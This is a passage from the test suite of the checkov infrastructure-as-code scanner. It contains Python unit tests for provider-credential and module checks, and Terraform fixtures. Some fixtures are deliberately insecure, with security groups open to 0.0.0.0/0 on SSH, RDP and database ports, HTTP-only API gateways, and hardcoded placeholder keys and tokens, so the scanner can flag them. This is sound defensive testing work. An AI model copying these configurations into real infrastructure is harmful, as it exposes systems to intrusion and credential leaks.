    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.module.registry import module_registry\nfrom checkov.terraform.runner import Runner\n\n\nclass TestModuleCheck(unittest.TestCase):\n    def test_module_version(self):\n        external_checks = Path.joinpath(Path(__file__).parent,\n                                        \"example_external_dir_with_module_version_check/extra_checks\").as_posix()\n        test_files_dir = Path(__file__).parent / \"resources\"\n\n        report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[\"CKV_TF_MODULE_1\"]),\n                              external_checks_dir=[external_checks])\n        summary = report.get_summary()\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 3)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        # remove custom checks\n        check = next(c for c in module_registry.checks[\"module\"] if c.id == \"CKV_TF_MODULE_1\")\n        module_registry.checks[\"module\"].remove(check)\n        check = next(c for c in module_registry.checks[\"module\"] if c.id == \"CKV_TF_MODULE_2\")\n        module_registry.checks[\"module\"].remove(check)\n\n    def test_immutable_module(self):\n        external_checks = Path.joinpath(Path(__file__).parent,\n                                        \"example_external_dir_with_module_version_check/extra_checks\").as_posix()\n        test_files_dir = Path(__file__).parent / \"resources\"\n\n        report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[\"CKV_TF_MODULE_2\"]),\n                              external_checks_dir=[external_checks])\n        summary = report.get_summary()\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 4)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        # remove custom checks\n        check = next(c for c in module_registry.checks[\"module\"] if c.id == \"CKV_TF_MODULE_1\")\n        module_registry.checks[\"module\"].remove(check)\n        check = next(c for c in module_registry.checks[\"module\"] if c.id == \"CKV_TF_MODULE_2\")\n        module_registry.checks[\"module\"].remove(check)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/module/registry/test_registry.py",
    "content": "import os\nimport unittest\nfrom unittest.mock import patch\n\n\nclass TestRegistry(unittest.TestCase):\n\n    def setUp(self):\n        from checkov.terraform.checks.module.registry import module_registry\n        self.registry = module_registry\n\n    @patch('os.path.exists')\n    def test_with_init(self, mock_path_exists):\n        mock_path_exists.return_value = True\n        self.assertTrue(self.registry._directory_has_init_py(\"/foo/bar\"))\n\n    @patch('os.path.exists')\n    def test_without_init(self, mock_path_exists):\n        mock_path_exists.return_value = False\n        self.assertFalse(self.registry._directory_has_init_py(\"/foo/bar\"))\n\n    def test_registry_external_check_load(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        external_dir = current_dir + \"/example_external_dir/extra_checks\"\n        self.registry.load_external_checks(external_dir)\n\n        external_check_loaded = False\n        external_check = None\n        for check in self.registry.checks['module']:\n            if check.__class__.__name__ == 'ModuleCheck':\n                external_check_loaded = True\n                external_check = check\n        self.assertTrue(external_check_loaded)\n        self.registry.checks['module'].remove(external_check)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/provider/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/checks/provider/aws/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/checks/provider/aws/test_credentials.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.provider.aws.credentials import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestCredentials(unittest.TestCase):\n    def test_success_empty(self):\n        hcl_res = hcl2.loads(\n            \"\"\"\n            provider \"aws\" {}\n            \"\"\"\n        )\n        provider_conf = hcl_res[\"provider\"][0][\"aws\"]\n        scan_result = check.scan_provider_conf(conf=provider_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_region(self):\n        hcl_res = hcl2.loads(\n            \"\"\"\n            provider \"aws\" {\n                region = \"us-west-2\"\n            }\n            \"\"\"\n        )\n        provider_conf = hcl_res[\"provider\"][0][\"aws\"]\n        scan_result = check.scan_provider_conf(conf=provider_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_failure_both_keys(self):\n        hcl_res = hcl2.loads(\n            \"\"\"\n            provider \"aws\" {\n                region     = \"us-west-2\"\n                access_key = \"AKIAIOSFODNN7EXAMPLE\"\n                secret_key = \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\n            }\n            \"\"\"\n        )\n        provider_conf = hcl_res[\"provider\"][0][\"aws\"]\n        scan_result = check.scan_provider_conf(conf=provider_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_access_key(self):\n        hcl_res = hcl2.loads(\n            \"\"\"\n            provider \"aws\" {\n                region     = \"us-west-2\"\n                access_key = \"AKIAIOSFODNN7EXAMPLE\"\n            }\n            \"\"\"\n        )\n        provider_conf = hcl_res[\"provider\"][0][\"aws\"]\n        scan_result = check.scan_provider_conf(conf=provider_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_secret_key(self):\n        hcl_res = hcl2.loads(\n            \"\"\"\n            provider \"aws\" {\n                region     = \"us-west-2\"\n                secret_key = \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\n            }\n            \"\"\"\n        )\n        provider_conf = hcl_res[\"provider\"][0][\"aws\"]\n        scan_result = check.scan_provider_conf(conf=provider_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/provider/bridgecrew/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/checks/provider/bridgecrew/test_credentials.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.provider.bridgecrew.credentials import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestCredentials(unittest.TestCase):\n    def test_success(self):\n        hcl_res = hcl2.loads(\n            \"\"\"\n            provider \"bridgecrew\" {}\n            \"\"\"\n        )\n        provider_conf = hcl_res[\"provider\"][0][\"bridgecrew\"]\n        scan_result = check.scan_provider_conf(conf=provider_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\n            \"\"\"\n            provider \"bridgecrew\" {\n                token = \"80e54890-f282-4595-ab3d-45f9bd874987\"\n            }\n            \"\"\"\n        )\n        provider_conf = hcl_res[\"provider\"][0][\"bridgecrew\"]\n        scan_result = check.scan_provider_conf(conf=provider_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/provider/linode/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/checks/provider/linode/test_credentials.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.provider.linode.credentials import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestCredentials(unittest.TestCase):\n    def test_success(self):\n        hcl_res = hcl2.loads(\n            \"\"\"\n            provider \"linode\" {}\n            \"\"\"\n        )\n        provider_conf = hcl_res[\"provider\"][0][\"linode\"]\n        scan_result = check.scan_provider_conf(conf=provider_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\n            \"\"\"\n            provider \"linode\" {\n                token = \"c7680462065ee80d0fef2940784b1af6826f6e0b18586194c5f67c4b40fa7f09\"\n            }\n            \"\"\"\n        )\n        provider_conf = hcl_res[\"provider\"][0][\"linode\"]\n        scan_result = check.scan_provider_conf(conf=provider_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/provider/ncp/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/checks/provider/ncp/test_credentials.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.provider.ncp.credentials import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestCredentials(unittest.TestCase):\n    def test_success_empty(self):\n        hcl_res = hcl2.loads(\n            \"\"\"\n            provider \"ncloud\" {}\n            \"\"\"\n        )\n        provider_conf = hcl_res[\"provider\"][0][\"ncloud\"]\n        scan_result = check.scan_provider_conf(conf=provider_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_region(self):\n        hcl_res = hcl2.loads(\n            \"\"\"\n            provider \"ncloud\" {\n                region = \"KR\"\n            }\n            \"\"\"\n        )\n        provider_conf = hcl_res[\"provider\"][0][\"ncloud\"]\n        scan_result = check.scan_provider_conf(conf=provider_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_failure_both_keys(self):\n        hcl_res = hcl2.loads(\n            \"\"\"\n            provider \"ncloud\" {\n                region     = \"KR\"\n                access_key = \"AKIAIOSFODNN7EXAMPLE\"\n                secret_key = \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\n            }\n            \"\"\"\n        )\n        provider_conf = hcl_res[\"provider\"][0][\"ncloud\"]\n        scan_result = check.scan_provider_conf(conf=provider_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_access_key(self):\n        hcl_res = hcl2.loads(\n            \"\"\"\n            provider \"ncloud\" {\n                region     = \"KR\"\n                access_key = \"AKIAIOSFODNN7EXAMPLE\"\n            }\n            \"\"\"\n        )\n        provider_conf = hcl_res[\"provider\"][0][\"ncloud\"]\n        scan_result = check.scan_provider_conf(conf=provider_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_secret_key(self):\n        hcl_res = hcl2.loads(\n            \"\"\"\n            provider \"ncloud\" {\n                region     = \"KR\"\n                secret_key = \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\n            }\n            \"\"\"\n        )\n        provider_conf = hcl_res[\"provider\"][0][\"ncloud\"]\n        scan_result = check.scan_provider_conf(conf=provider_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/provider/oci/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/checks/provider/oci/test_credentials.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.provider.oci.credentials import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestCredentials(unittest.TestCase):\n    def test_success(self):\n        hcl_res = hcl2.loads(\n            \"\"\"\n            provider \"panos\" {}\n            \"\"\"\n        )\n        provider_conf = hcl_res[\"provider\"][0][\"panos\"]\n        scan_result = check.scan_provider_conf(conf=provider_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\n            \"\"\"\n            provider \"panos\" {\n                private_key_password = \"anystringwilldo\"\n            }\n            \"\"\"\n        )\n        provider_conf = hcl_res[\"provider\"][0][\"panos\"]\n        scan_result = check.scan_provider_conf(conf=provider_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/provider/openstack/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/checks/provider/openstack/test_credentials.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.provider.openstack.credentials import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestCredentials(unittest.TestCase):\n    def test_success_empty(self):\n        hcl_res = hcl2.loads(\n            \"\"\"\n            provider \"openstack\" {}\n            \"\"\"\n        )\n        provider_conf = hcl_res[\"provider\"][0][\"openstack\"]\n        scan_result = check.scan_provider_conf(conf=provider_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_region(self):\n        hcl_res = hcl2.loads(\n            \"\"\"\n            provider \"openstack\" {\n                auth_url = \"http://myauthurl:5000/v2.0\"\n                region   = \"RegionOne\"\n            }\n            \"\"\"\n        )\n        provider_conf = hcl_res[\"provider\"][0][\"openstack\"]\n        scan_result = check.scan_provider_conf(conf=provider_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_failure_password(self):\n        hcl_res = hcl2.loads(\n            \"\"\"\n            provider \"openstack\" {\n                auth_url = \"http://myauthurl:5000/v2.0\"\n                region   = \"RegionOne\"\n                password = \"Ahngak0fuokeexee5Quiu0oohayeiXie\"\n            }\n            \"\"\"\n        )\n        provider_conf = hcl_res[\"provider\"][0][\"openstack\"]\n        scan_result = check.scan_provider_conf(conf=provider_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_token(self):\n        hcl_res = hcl2.loads(\n            \"\"\"\n            provider \"openstack\" {\n                auth_url = \"http://myauthurl:5000/v2.0\"\n                region   = \"RegionOne\"\n                token    = \"ifahghau4nun7eirahJ5baa8cichex7l\"\n            }\n            \"\"\"\n        )\n        provider_conf = hcl_res[\"provider\"][0][\"openstack\"]\n        scan_result = check.scan_provider_conf(conf=provider_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_app_secret(self):\n        hcl_res = hcl2.loads(\n            \"\"\"\n            provider \"openstack\" {\n                auth_url = \"http://myauthurl:5000/v2.0\"\n                region   = \"RegionOne\"\n                application_credential_secret = \"mie8siw5ooTaed0AeQuepeiGhah9xaif\"\n            }\n            \"\"\"\n        )\n        provider_conf = hcl_res[\"provider\"][0][\"openstack\"]\n        scan_result = check.scan_provider_conf(conf=provider_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/provider/panos/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/checks/provider/panos/resources/api_key/fail1.tf",
    "content": "provider \"panos\" {\n  api_key = var.nested_var.base64_enc_apikey\n}\n"
  },
  {
    "path": "tests/terraform/checks/provider/panos/resources/api_key/fail2.tf",
    "content": "provider \"panos\" {\n  api_key = \"LUFRPT1yWFdyMFg5NlZxZ1ViU2ZhMTh6aGVEbDJ1UFU9ck9vc2tGcmlHV0tDbWRFa2cxcGUxSU8wMlVjaE9ReU0yYWN5SU1rL2pEOGhDcE50WEt5ABlHQWZoTm8xNG1SQQ==\"\n}"
  },
  {
    "path": "tests/terraform/checks/provider/panos/resources/api_key/pass.tf",
    "content": "provider \"panos\" {\n  api_key = \"\"\n}"
  },
  {
    "path": "tests/terraform/checks/provider/panos/resources/api_key/variables.tf",
    "content": "variable \"nested_var\" {\n  default = {\n    base64_enc_apikey = \"LUFRPT1yWFdyMFg5NlZxZ1ViU2ZhMTh6aGVEbDJ1UFU9ck9vc2tGcmlHV0tDbWRFa2cxcGUxSU8wMlVjaE9ReU0yYWN5SU1rL2pEOGhDcE50WEt5ABlHQWZoTm8xNG1SQQ==\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/provider/panos/test_credentials.py",
    "content": "import os\nimport unittest\n\nimport hcl2\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.provider.panos.credentials import check\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCredentials(unittest.TestCase):\n    def test_success(self):\n        hcl_res = hcl2.loads(\n            \"\"\"\n            provider \"panos\" {}\n            \"\"\"\n        )\n        provider_conf = hcl_res[\"provider\"][0][\"panos\"]\n        scan_result = check.scan_provider_conf(conf=provider_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_failure_api(self):\n        hcl_res = hcl2.loads(\n            \"\"\"\n            provider \"panos\" {\n                api_key = \"LUFRPT1yWFdyMFg5NlZxZ1ViU2ZhMTh6aGVEbDJ1UFU9ck9vc2tGcmlHV0tDbWRFa2cxcGUxSU8wMlVjaE9ReU0yYWN5SU1rL2pEOGhDcE50WEt5ABlHQWZoTm8xNG1SQQ==\"\n            }\n            \"\"\"\n        )\n        provider_conf = hcl_res[\"provider\"][0][\"panos\"]\n        scan_result = check.scan_provider_conf(conf=provider_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_password(self):\n        hcl_res = hcl2.loads(\n            \"\"\"\n            provider \"panos\" {\n                password = \"changeme123!\"\n            }\n            \"\"\"\n        )\n        provider_conf = hcl_res[\"provider\"][0][\"panos\"]\n        scan_result = check.scan_provider_conf(conf=provider_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_api_key(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/resources/api_key\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources_files = {\n            \"/pass.tf\",\n        }\n\n        failing_resources_files = {\n            \"/fail1.tf\",\n            \"/fail2.tf\"\n        }\n\n        passed_check_resources_files = set([c.file_path for c in report.passed_checks])\n        failing_check_resources_files = set([c.file_path for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources_files, passed_check_resources_files)\n        self.assertEqual(failing_resources_files, failing_check_resources_files)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/example_ALBACLIsUnrestricted/main.tf",
    "content": "resource \"alicloud_alb_acl\" \"fail\" {\n  acl_name=\"anyoldguff\"\n}\n\nresource \"alicloud_alb_acl_entry_attachment\" \"thehorror\" {\n  acl_id      = alicloud_alb_acl.fail.id\n  entry       = \"0.0.0.0/0\"\n  description = var.name\n}\n\nresource \"alicloud_alb_acl_entry_attachment\" \"phew\" {\n  acl_id      = alicloud_alb_acl.fail.id\n  entry       = \"10.0.0.0/16\"\n  description = var.name\n}"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/example_APIGatewayProtocolHTTPS/main.tf",
    "content": "resource \"alicloud_api_gateway_api\" \"fail\" {\n  name              = alicloud_api_gateway_group.apiGroup.name\n  group_id          = alicloud_api_gateway_group.apiGroup.id\n  description       = \"your description\"\n  auth_type         = \"APP\"\n  force_nonce_check = false\n\n  request_config {\n    protocol = \"HTTP\" #this should HTTPS\n    method   = \"GET\"\n    path     = \"/test/path1\"\n    mode     = \"MAPPING\"\n  }\n\n   service_type = \"HTTP\"\n\n  http_service_config {\n    address   = \"http://apigateway-backend.alicloudapi.com:8080\"\n    method    = \"GET\"\n    path      = \"/web/cloudapi\"\n    timeout   = 12\n    aone_name = \"cloudapi-openapi\"\n  }\n}\n\nresource \"alicloud_api_gateway_api\" \"fail2\" {\n  name              = alicloud_api_gateway_group.apiGroup.name\n  group_id          = alicloud_api_gateway_group.apiGroup.id\n  description       = \"your description\"\n  auth_type         = \"APP\"\n  force_nonce_check = false\n\n  request_config {\n    protocol = \"HTTP\" #this should HTTPS\n    method   = \"GET\"\n    path     = \"/test/path1\"\n    mode     = \"MAPPING\"\n  }\n\n  service_type = \"HTTP\"\n\n  http_service_config {\n    address   = \"http://apigateway-backend.alicloudapi.com:8080\"\n    method    = \"GET\"\n    path      = \"/web/cloudapi\"\n    timeout   = 12\n    aone_name = \"cloudapi-openapi\"\n  }\n\n  request_parameters {\n    name         = \"aaa\"\n    type         = \"STRING\"\n    required     = \"OPTIONAL\"\n    in           = \"QUERY\"\n    in_service   = \"QUERY\"\n    name_service = \"testparams\"\n  }\n\n  stage_names = [\n    \"RELEASE\",\n    \"TEST\",\n  ]\n}\n\n\nresource \"alicloud_api_gateway_api\" \"fail3\" {\n  name              = alicloud_api_gateway_group.apiGroup.name\n  group_id          = alicloud_api_gateway_group.apiGroup.id\n  description       = \"your description\"\n  auth_type         = \"APP\"\n  force_nonce_check = false\n\n  request_config {\n    protocol = \"HTTP\"\n    method   = \"GET\"\n    path     = \"/test/path1\"\n    mode     = \"MAPPING\"\n  }\n\n  request_config {\n    protocol = \"HTTP\"\n    method   = \"GET\"\n    path     = \"/test/path2\"\n    mode     = \"MAPPING\"\n  }\n\n  service_type = \"HTTP\"\n\n  http_service_config {\n    address   = \"http://apigateway-backend.alicloudapi.com:8080\"\n    method    = \"GET\"\n    path      = \"/web/cloudapi\"\n    timeout   = 12\n    aone_name = \"cloudapi-openapi\"\n  }\n\n  request_parameters {\n    name         = \"aaa\"\n    type         = \"STRING\"\n    required     = \"OPTIONAL\"\n    in           = \"QUERY\"\n    in_service   = \"QUERY\"\n    name_service = \"testparams\"\n  }\n\n  stage_names = [\n    \"RELEASE\",\n    \"TEST\",\n  ]\n}\n\n\nresource \"alicloud_api_gateway_api\" \"pass\" {\n  name              = alicloud_api_gateway_group.apiGroup.name\n  group_id          = alicloud_api_gateway_group.apiGroup.id\n  description       = \"your description\"\n  auth_type         = \"APP\"\n  force_nonce_check = false\n\n  request_config {\n    protocol = \"HTTPS\"\n    method   = \"GET\"\n    path     = \"/test/path1\"\n    mode     = \"MAPPING\"\n  }\n\n  service_type = \"HTTP\"\n\n  http_service_config {\n    address   = \"https://apigateway-backend.alicloudapi.com:8080\"\n    method    = \"GET\"\n    path      = \"/web/cloudapi\"\n    timeout   = 12\n    aone_name = \"cloudapi-openapi\"\n  }\n\n  request_parameters {\n    name         = \"aaa\"\n    type         = \"STRING\"\n    required     = \"OPTIONAL\"\n    in           = \"QUERY\"\n    in_service   = \"QUERY\"\n    name_service = \"testparams\"\n  }\n\n  stage_names = [\n    \"RELEASE\",\n    \"TEST\",\n  ]\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/example_AbsSecurityGroupUnrestrictedIngress/main.tf",
    "content": "resource \"alicloud_security_group_rule\" \"allow_all_tcp\" {\n  type              = \"ingress\"\n  ip_protocol       = \"tcp\"\n  nic_type          = \"internet\"\n  policy            = \"accept\"\n  port_range        = \"1/65535\"\n  security_group_id = alicloud_security_group.default.id\n  cidr_ip           = \"0.0.0.0/0\"\n}\n\nresource \"alicloud_security_group_rule\" \"allow_all_tcp2\" {\n  type              = \"ingress\"\n  ip_protocol       = \"tcp\"\n  nic_type          = \"internet\"\n  policy            = \"accept\"\n  port_range        = \"1/65535\"\n  security_group_id = alicloud_security_group.default.id\n}\n\nresource \"alicloud_security_group_rule\" \"allow_all_low\" {\n  type              = \"ingress\"\n  ip_protocol       = \"tcp\"\n  nic_type          = \"internet\"\n  policy            = \"accept\"\n  port_range        = \"1/100\"\n  security_group_id = alicloud_security_group.default.id\n  cidr_ip           = \"0.0.0.0/0\"\n}\n\nresource \"alicloud_security_group_rule\" \"allow_all_high\" {\n  type              = \"ingress\"\n  ip_protocol       = \"tcp\"\n  nic_type          = \"internet\"\n  policy            = \"accept\"\n  port_range        = \"101/65535\"\n  security_group_id = alicloud_security_group.default.id\n  cidr_ip           = \"0.0.0.0/0\"\n}\n\nresource \"alicloud_security_group_rule\" \"allow_all_dns\" {\n  type              = \"ingress\"\n  ip_protocol       = \"tcp\"\n  nic_type          = \"internet\"\n  policy            = \"accept\"\n  port_range        = \"53/53\"\n  security_group_id = alicloud_security_group.default.id\n  cidr_ip           = \"0.0.0.0/0\"\n}\n\nresource \"alicloud_security_group_rule\" \"allow_all_http\" {\n  type              = \"ingress\"\n  ip_protocol       = \"tcp\"\n  nic_type          = \"internet\"\n  policy            = \"accept\"\n  port_range        = \"80/80\"\n  security_group_id = alicloud_security_group.default.id\n  cidr_ip           = \"0.0.0.0/0\"\n}\n\nresource \"alicloud_security_group_rule\" \"allow_all_ftp\" {\n  type              = \"ingress\"\n  ip_protocol       = \"tcp\"\n  nic_type          = \"internet\"\n  policy            = \"accept\"\n  port_range        = \"21/21\"\n  security_group_id = alicloud_security_group.default.id\n  cidr_ip           = \"0.0.0.0/0\"\n}\n\nresource \"alicloud_security_group_rule\" \"allow_all_ftpdata\" {\n  type              = \"ingress\"\n  ip_protocol       = \"tcp\"\n  nic_type          = \"internet\"\n  policy            = \"accept\"\n  port_range        = \"20/20\"\n  security_group_id = alicloud_security_group.default.id\n  cidr_ip           = \"0.0.0.0/0\"\n}\n\nresource \"alicloud_security_group_rule\" \"allow_all_mssqlmonitor\" {\n  type              = \"ingress\"\n  ip_protocol       = \"tcp\"\n  nic_type          = \"internet\"\n  policy            = \"accept\"\n  port_range        = \"1434/1434\"\n  security_group_id = alicloud_security_group.default.id\n  cidr_ip           = \"0.0.0.0/0\"\n}\n\nresource \"alicloud_security_group_rule\" \"allow_all_mssql\" {\n  type              = \"ingress\"\n  ip_protocol       = \"tcp\"\n  nic_type          = \"internet\"\n  policy            = \"accept\"\n  port_range        = \"1433/1433\"\n  security_group_id = alicloud_security_group.default.id\n  cidr_ip           = \"0.0.0.0/0\"\n}\n\nresource \"alicloud_security_group_rule\" \"allow_all_mysql\" {\n  type              = \"ingress\"\n  ip_protocol       = \"tcp\"\n  nic_type          = \"internet\"\n  policy            = \"accept\"\n  port_range        = \"3306/3306\"\n  security_group_id = alicloud_security_group.default.id\n  cidr_ip           = \"0.0.0.0/0\"\n}\n\nresource \"alicloud_security_group_rule\" \"allow_all_oracledb\" {\n  type              = \"ingress\"\n  ip_protocol       = \"tcp\"\n  nic_type          = \"internet\"\n  policy            = \"accept\"\n  port_range        = \"1521/1521\"\n  security_group_id = alicloud_security_group.default.id\n  cidr_ip           = \"0.0.0.0/0\"\n}\n\nresource \"alicloud_security_group_rule\" \"allow_all_postgresql\" {\n  type              = \"ingress\"\n  ip_protocol       = \"tcp\"\n  nic_type          = \"internet\"\n  policy            = \"accept\"\n  port_range        = \"5432/5432\"\n  security_group_id = alicloud_security_group.default.id\n  cidr_ip           = \"0.0.0.0/0\"\n}\n\nresource \"alicloud_security_group_rule\" \"allow_all_rdp\" {\n  type              = \"ingress\"\n  ip_protocol       = \"tcp\"\n  nic_type          = \"internet\"\n  policy            = \"accept\"\n  port_range        = \"3389/3389\"\n  security_group_id = alicloud_security_group.default.id\n  cidr_ip           = \"0.0.0.0/0\"\n}\n\nresource \"alicloud_security_group_rule\" \"allow_all_smtp\" {\n  type              = \"ingress\"\n  ip_protocol       = \"tcp\"\n  nic_type          = \"internet\"\n  policy            = \"accept\"\n  port_range        = \"25/25\"\n  security_group_id = alicloud_security_group.default.id\n  cidr_ip           = \"0.0.0.0/0\"\n}\n\nresource \"alicloud_security_group_rule\" \"allow_all_ssh\" {\n  type              = \"ingress\"\n  ip_protocol       = \"tcp\"\n  nic_type          = \"internet\"\n  policy            = \"accept\"\n  port_range        = \"22/22\"\n  security_group_id = alicloud_security_group.default.id\n  cidr_ip           = \"0.0.0.0/0\"\n}\n\nresource \"alicloud_security_group_rule\" \"allow_all_telnet\" {\n  type              = \"ingress\"\n  ip_protocol       = \"tcp\"\n  nic_type          = \"internet\"\n  policy            = \"accept\"\n  port_range        = \"23/23\"\n  security_group_id = alicloud_security_group.default.id\n  cidr_ip           = \"0.0.0.0/0\"\n}\n\nresource \"alicloud_security_group_rule\" \"allow_all_vnclistener\" {\n  type              = \"ingress\"\n  ip_protocol       = \"tcp\"\n  nic_type          = \"internet\"\n  policy            = \"accept\"\n  port_range        = \"5500/5500\"\n  security_group_id = alicloud_security_group.default.id\n  cidr_ip           = \"0.0.0.0/0\"\n}\n\nresource \"alicloud_security_group_rule\" \"allow_all_vncserver\" {\n  type              = \"ingress\"\n  ip_protocol       = \"tcp\"\n  nic_type          = \"internet\"\n  policy            = \"accept\"\n  port_range        = \"5900/5900\"\n  security_group_id = alicloud_security_group.default.id\n  cidr_ip           = \"0.0.0.0/0\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/example_ActionTrailLogAllEvents/main.tf",
    "content": "resource \"alicloud_actiontrail_trail\" \"pass\" {\n  trail_name         = \"action-trail\"\n  oss_write_role_arn = \"acs:ram::1182725xxxxxxxxxxx\"\n  oss_bucket_name    = \"bucket_name\"\n  event_rw           = \"All\"\n  trail_region       = \"All\"\n}\n\n#default\nresource \"alicloud_actiontrail_trail\" \"fail\" {\n  trail_name         = \"action-trail\"\n  oss_write_role_arn = \"acs:ram::1182725xxxxxxxxxxx\"\n  oss_bucket_name    = \"bucket_name\"\n  trail_region       = \"All\"\n}\n\nresource \"alicloud_actiontrail_trail\" \"fail2\" {\n  trail_name         = \"action-trail\"\n  oss_write_role_arn = \"acs:ram::1182725xxxxxxxxxxx\"\n  oss_bucket_name    = \"bucket_name\"\n  event_rw           = \"Read\"\n  trail_region       = \"All\"\n}\n\nterraform {\n  required_providers {\n    alicloud = {\n      source  = \"aliyun/alicloud\"\n      version = \"1.162.0\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/example_ActionTrailLogAllRegions/main.tf",
